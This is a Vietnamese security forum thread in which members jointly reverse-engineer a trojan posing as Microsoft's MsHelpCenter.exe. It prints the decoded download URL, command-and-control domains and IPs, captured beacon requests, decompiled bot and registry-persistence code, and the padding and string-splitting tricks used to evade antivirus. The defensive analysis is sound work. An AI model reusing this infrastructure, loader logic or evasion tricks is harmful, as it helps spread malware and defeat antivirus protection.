Đọc xong cả Topic cho đến lúc này e chỉ có 1 câu để nói là: Các thành viên trong HVA quá tuyệt vời Phối hợp với nhau cứ như 1 đội hình... chả biết dùng từ gì nữa ^^

Em có cộng tác với 1 vài tờ báo mạng, định sẽ viết 1 bài tóm lược về việc phân tích và kết quả đạt được như trên của mấy a để cho mọi người cùng xem, không biết có phiền gì không ạ ??? 

G4GD7ND0CDL4DB7CB0CD3ED6KD9YC2FDYN7BD0OCP4JD7QD0ED3FD6HDO0TC3OC6CD chứa đường dẫn được mã hoá, key là n / 123 = 456. Thuật toán mã hoá thì mình chưa xem kĩ nhưng thiết nghĩ không cần lắm vì xâu này cố định rồi. nó sau khi giải mã ra là http://poxxf.com/flash.swf , tải file này về với User Agent là Gozilla_2/Default.

cái link để download là http://poxxf.com/flash.swf?cpn=<User name>
 

maowoli.dyndns-free.com (Destination IP: 78.110.24.85)
biouzhen.dyndns-server.com (Destination IP: 78.110.24.85)
tongfeirou.dyndns-web.com (Destination: server86944.santrex.net)
 

GET /banner1.png?cpn=LEQUY-PC HTTP/1.1
Host: maowoli.dyndns-free.com
User-Agent: Gozilla_2/General
Accept: */*
Pragma: no-cache
Cache-Control: no-cache
Connection: close

GET /banner1.png?cpn=LEQUY-PC HTTP/1.1
Host: biouzhen.dyndns-server.com
User-Agent: Gozilla_2/General
Accept: */*
Pragma: no-cache
Cache-Control: no-cache
Connection: close

GET /banner1.png?cpn=LEQUY-PC HTTP/1.1
Host: tongfeirou.dyndns-web.com
User-Agent: Gozilla_2/General
Accept: */*
Pragma: no-cache
Cache-Control: no-cache
Connection: close

GET /banner1.png?cpn=LEQUY-PC HTTP/1.1
Host: maowoli.dyndns-free.com
User-Agent: Gozilla_2/General
Accept: */*
Pragma: no-cache
Cache-Control: no-cache
Connection: close

GET /banner1.png?cpn=LEQUY-PC HTTP/1.1
Host: biouzhen.dyndns-server.com
User-Agent: Gozilla_2/General
Accept: */*
Pragma: no-cache
Cache-Control: no-cache
Connection: close
 

Giờ rãnh rỗi, ngồi úp cái đống MsHelpCenter.* lên KIS, MS, Avira, Symantec. Mô tả bằng tiếng Anh khó quá. Thôi viết tiếng Việt rồi dùng Google Translate ra đại cho rồi. Hy vọng mấy thằng bên đó đọc hiểu được 50%.

Mấy anh STL chơi ác quá ha, nhét dump bitmap, dump resource data vào mấy cái file của mấy anh để mấy file đó bự bà cố luôn, 8-9 MB, để bà con khỏi úp lên các AV và các online scan phải không ?
Hồi chiều, ngồi tự hỏi: quái, tụi này không không nhét mấy cái "Background" Bmp Resource tới 8-9 MB vào file PE của tụi nó chi vầy ? Đọc code, debug, breakpoint đủ kiểu chả thấy nó đụng tới Bmp Resource gì cả !

Không sao, em remove mấy cái dump resource, dump bitmap đó đi, up tuốt. Giờ úp lại nè, nãy giờ úp 2 lần đều faild hết. File em đã úp cái đống đó lên tới 26MB.

Giờ up được rồi. File up chỉ còn 247 KB, chuyện nhỏ. Tụi này dùng giới hạn up file của các trang web submit sample của các AVs, thông thường là 8 MB.

 

bolzano_1989 wrote:

PXMMRF wrote:

Tôi cho rằng cần phải xem lai cái file MsHelpCenter.exe
Đây là file chính thức của MS mà. Nó được digitally signed ngon lành bởi MS mà
original name: MsHelpCenter.exe
internal name: (cũng là) MsHelpCenter.exe
file version.: 6.1.7600.16385
MD5 : 915e9432ca9414a771071ee0cc115930
SHA1 : 9ec74f80c7b03ff2ab4ecbe57b5a1d0296a3bee6
SHA256: b34852815cffab3bfb557e552f8566f80cbe2915895bae9b6e7d085eab7e7f6d
ssdeep: 3072:acFDLF09RoMPXa5zgKSfpBitAggb4d/VpvF2CmsNd:tFDLFFW8gbpUt7V7Vms
File size : 9332736 bytes
OK?
 

Cháu xem kết quả sigcheck ở link sau thì thấy là unsigned :
http://www.virustotal.com/file-scan/report.html?id=b34852815cffab3bfb557e552f8566f80cbe2915895bae9b6e7d085eab7e7f6d-1311589090 

Nó đây nè bolzano_1989 ạ
Chú ý trong folder có tên là MsHelpCenter mà bạn asaxin upload lên Mediafire có 2 file: MsHelpcenter.exe và MsHelpCenter.idx. File MsHelpCenter.idx mới có Trojan còn file kia MsHelpCenter.exe (.exe file-fice chạy) thì lai là 1 file nguyên thuỷ của MS.

Bản phân tích của MsHelpCenter.exe đây nè:

 

sigcheck:
publisher....: Microsoft Corporation
copyright....: (c) Microsoft Corporation. All rights reserved.
product......: Microsoft_ Windows_ Operating System
description..: Microsoft Help Center
original name: MsHelpCenter.exe
internal name: MsHelpCenter.exe
file version.: 6.1.7600.16385 

Gửi chú PXMMRF,
Những kết quả sigcheck sau có được là do đám STL làm giả để đánh lừa advanced user:

sigcheck:
publisher....: Microsoft Corporation
copyright....: (c) Microsoft Corporation. All rights reserved.
product......: Microsoft_ Windows_ Operating System
description..: Microsoft Help Center
original name: MsHelpCenter.exe
internal name: MsHelpCenter.exe
file version.: 6.1.7600.16385 

Quan trọng nhất khi sigcheck MsHelpCenter.exe là các dòng sau:
Verified: Unsigned
File date: 9:34 AM 12/31/2010
Vào thời điểm này, Microsoft USA không thể có người làm việc liên quan đến file MsHelpCenter.exe này .
Đồng thời file này không được digitally signed bởi Microsoft Windows. 

Tuy nhiên tôi chỉ xác nhân là cái file MSHelpCenter.exe (nằm trong một folder có tên là "MSHelpCenter"- being zipped) mà bạn asaxin upload lên Mediafire vừa qua là không có virus thôi (nhưng file MSHelpCenter.idx, cũng trong folder nói trên, là có virus rõ ràng).
Tôi không biết và không đề cập đến tất cả các file MSHelpCenter.exe khác  

PXMMRF wrote:

Tuy nhiên tôi chỉ xác nhân là cái file MSHelpCenter.exe (nằm trong một folder có tên là "MSHelpCenter"- being zipped) mà bạn asaxin upload lên Mediafire vừa qua là không có virus thôi (nhưng file MSHelpCenter.idx, cũng trong folder nói trên, là có virus rõ ràng).
Tôi không biết và không đề cập đến tất cả các file MSHelpCenter.exe khác  

Gửi anh PXMMRF,

Em không biết anh có đọc mấy bài trước của anh TQN và bạn acoustics89 phân tích hay không mà anh lại khẳng định như thế ạ ? File MSHelpCenter (MD5: 915E9432CA9414A771071EE0CC115930) được zip cùng file MSHelpCenter.idx mà bạn asaxin đã upload rõ ràng là malware. Chính nó là con download AcrobatUpdater.exe về đấy ạ.

Theo như hình kết quả từ virustotal, chưa có chương trình AV nào detect em nó không có nghĩa là em nó clean, và mấy cái thông tin internal name, orginal name, ... hoàn toàn có thể fake được mà anh.

Rang0 ! 

int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
{
int v4; // eax@0
unsigned int v6; // [sp-10h] [bp-38h]@1
HANDLE hObject; // [sp+0h] [bp-28h]@12
DWORD ThreadId; // [sp+4h] [bp-24h]@12
WCHAR v9; // [sp+8h] [bp-20h]@4
LPCWSTR lpFileName; // [sp+Ch] [bp-1Ch]@4
unsigned int *v11; // [sp+10h] [bp-18h]@1
int v12; // [sp+18h] [bp-10h]@1
int (__cdecl *v13)(int, PVOID, int); // [sp+1Ch] [bp-Ch]@1
unsigned int v14; // [sp+20h] [bp-8h]@1
int v15; // [sp+24h] [bp-4h]@1
int v16; // [sp+28h] [bp+0h]@1

v13 = _except_handler4;
v12 = v4;
v14 = __security_cookie ^ (unsigned int)&unk_4126C8;
v6 = (unsigned int)&v16 ^ __security_cookie;
v11 = &v6;
v15 = 0;
SetUnhandledExceptionFilter(TopLevelExceptionFilter);
if ( lstrlenW(lpCmdLine) <= 3 )
{
if ( !lstrlenW(lpCmdLine) )
{
ThreadId = 0;
hObject = CreateThread(0, 0x80000u, StartAddress, 0, 0, &ThreadId);
CloseHandle(hObject);
create_bot();
}
}
else
{
if ( *lpCmdLine == '-' && lpCmdLine[2] == ' ' )
{
v9 = lpCmdLine[1];
lpFileName = lpCmdLine + 3;
switch ( v9 )
{
case 'd':
delete_file(lpFileName);
break;
case 'r':
create_process(lpFileName, &CommandLine, 0);
break;
case 'b':
create_new_process(lpFileName, 0);
break;
}
}
}
return 0;
} 

lstrcpyW(&SubKey, L"softw");
  lstrcatW(&SubKey, L"are\\micr");
  lstrcpyW((LPWSTR)&v6, L"kjewoopipo");
  lstrcatW(&SubKey, L"osoft\\w");
  lstrcpyW((LPWSTR)&v6, L"rewfe");
  lstrcatW(&SubKey, L"indo");
  lstrcatW(&SubKey, L"ws\\");
  lstrcatW(&SubKey, L"Microsoft Help Center");
  RegCreateKeyExW(HKEY_CURRENT_USER, &SubKey, 0, 0, 0, 0xF003Fu, 0, &hKey, &dwDisposition);
  cbData = 2000;
  v12 = RegQueryValueExW(hKey, ValueName, 0, &Type, (LPBYTE)Data, &cbData);
  if ( v12 )
  {
    v1 = lstrlenW((LPCWSTR)Data);
    RegSetValueExW(hKey, ValueName, 0, 1u, (const BYTE *)Data, 2 * v1);
  }
  RegCloseKey(hKey);

Em dùng Bkav pro . Hôm trước down mấy mẫu về thấy nó nhai ngon lành . Hic hic ... Cả file fake kia lẫn cái file *.dix

 

BKAV pro đã phát hiện ra virus-trojạn trong file MSHelpCenter.idx rồi à? [/color].Rất hoan nghênh.
Nhưng Virus DAT file update vào ngày nảo? Tháng 6, tháng 7/2011? 

Em cũng không biết có file MSHelpCenter nào của MS mà nó có hành vi như trên không nữa ạ ?
 

@lequi: chắc anh em lại cùng với bạn phối hợp lấy mẫu như hôm qua. xong bạn up mẫu lên đây nhé, mọi người phân tích cũng nhanh thôi 

là người viết các kết quả phân tích; Em tự tin vào cái mà em lần ra, em tự tin và khẳng định nó là virus ạ. Cho dù các phần mềm khác có đưa kết quả clean đi nữa, em vẫn chỉ tin vào Olly và IDA.

trong MSHelpCenter.exe

File Offset 000136B0h: G4GD7ND0CDL4DB7CB0CD3ED6KD9YC2FDYN7BD0OCP4JD7QD0ED3FD6HDO0TC3OC6CD

địa chỉ của hàm decode :401B30h

Hàm download : 4015B0h

Ngoài ra còn hàm này để ghi key trong registry:4017F0h
Cái xâu bị cắt vụn ra, tránh emulator, dò string của các av, liệu có coder nào rảnh đến mức cắt như thế không ạ 

acoustics89 wrote:

@lequi: chắc anh em lại cùng với bạn phối hợp lấy mẫu như hôm qua. xong bạn up mẫu lên đây nhé, mọi người phân tích cũng nhanh thôi 

Mình rất sẵn lòng.

Mớ packet và các nghi ngờ của mình bắt đầu xuất hiện từ sau khi chạy setup unikey này http://nethoabinh.com/showthread.php?t=315). Mình vẫn chưa lần mò ra được gì , có thể máy mình vẫn đang có trojian, nhưng có thể đây là 1 phiên bản trước đây khá lâu (tháng 11/2009), các user-agent và url đều khác, mặc dù cấu trúc là giống nhau (Gozilla và ?cpn).

Không biết mình phải làm gì tiếp đây? 

acoustics89 wrote:

@lequi: chắc anh em lại cùng với bạn phối hợp lấy mẫu như hôm qua. xong bạn up mẫu lên đây nhé, mọi người phân tích cũng nhanh thôi 

Mình rất sẵn lòng.

Mớ packet và các nghi ngờ của mình bắt đầu xuất hiện từ sau khi chạy setup unikey này http://nethoabinh.com/showthread.php?t=315). Mình vẫn chưa lần mò ra được gì , có thể máy mình vẫn đang có trojian, nhưng có thể đây là 1 phiên bản trước đây khá lâu (tháng 11/2009), các user-agent và url đều khác, mặc dù cấu trúc là giống nhau (Gozilla và ?cpn).

Không biết mình phải làm gì tiếp đây? 

1 -Service, process nào download các file MSHelpCenter.exe về máy hoăc process nào inject malicious code vào file này?? ( Ngay từ lúc đầu file MSHelpCenter.exe có bị nhúng virus hay không?)

2- Virus-Trojạn nằm trong file MSHelpCenter.idx có quan hệ tác động gì đến file MSHelpCenter.exe, khi nào, tiến trình xảy ra theo trình tự thế nào khi máy bị nhiễm virus?

3- File đầu tiên gây nhiễm cho máy user mà user download về trên mạng (thí dụ Vietkey, Unikey....) là file nào trong trường hợp này.? Dĩ nhiên không phải là chính các file MSHelpCenter.exe hay MSHelpCenter.idx, vì dung lượng của chúng quá lơn, mà cũng chẳng ai lai cần download chúng về làm gì cả

Vậy bạn có ý kiến thế nào về những vấn đề tôi đang thắc mắc, để tôi có thể giải toả và có kết luận cuối cùng cho mình?? 

Em toàn dùng máy ảo để desassembling code , tất cả đều trong máy ảo cả. Máy ảo em tự cài từ đầu, các phần mềm bên trong cũng qua kiểm duyệt hết rồi

Bây giờ đơn giản là anh dùng 1 chương trình Hex editor, jump đến các offset trong file MSHelpCenter.exe như em nói xem có đúng là nó thế hay không, chương trình hex editor nào cũng được. Nếu nó đúng, thì đó là 1 bằng chứng, 1 ví dụ về việc : các av bây giờ cũng chưa phải quá mạnh, việc tin tưởng vào nó là hơi phiêu lưu và mạo hiểm. Mặc dù đã được trang bị các công nghệ như emulator, Heurristic, thì vẫn không thể tin tưởng được. Có thể là 1 chiêu marketing của các AV...

Và bây giờ, công nghệ tạo ra malware đang đi trước chung ta 1 bước. Hiện thực đáng sợ này bao giờ mới chấm dứt đây 

Meta-data
=======
File:    MsHelpCenter.exe
Size:    9332736 bytes
Type:    PE32 executable for MS Windows (GUI) Intel 80386 32-bit
MD5:     915e9432ca9414a771071ee0cc115930
SHA1:    9ec74f80c7b03ff2ab4ecbe57b5a1d0296a3bee6
ssdeep:  3072:acFDLF09RoMPXa5zgKSfpBitAggb4d/VpvF2CmsNd:tFDLFFW8gbpUt7V7Vms
Date:    0x4D1868C7 [Mon Dec 27 10:21:59 2010 UTC]
EP:      0x403272 .text 0/5
CRC:     Claimed: 0x30c13, Actual: 0x8e87d2 [SUSPICIOUS]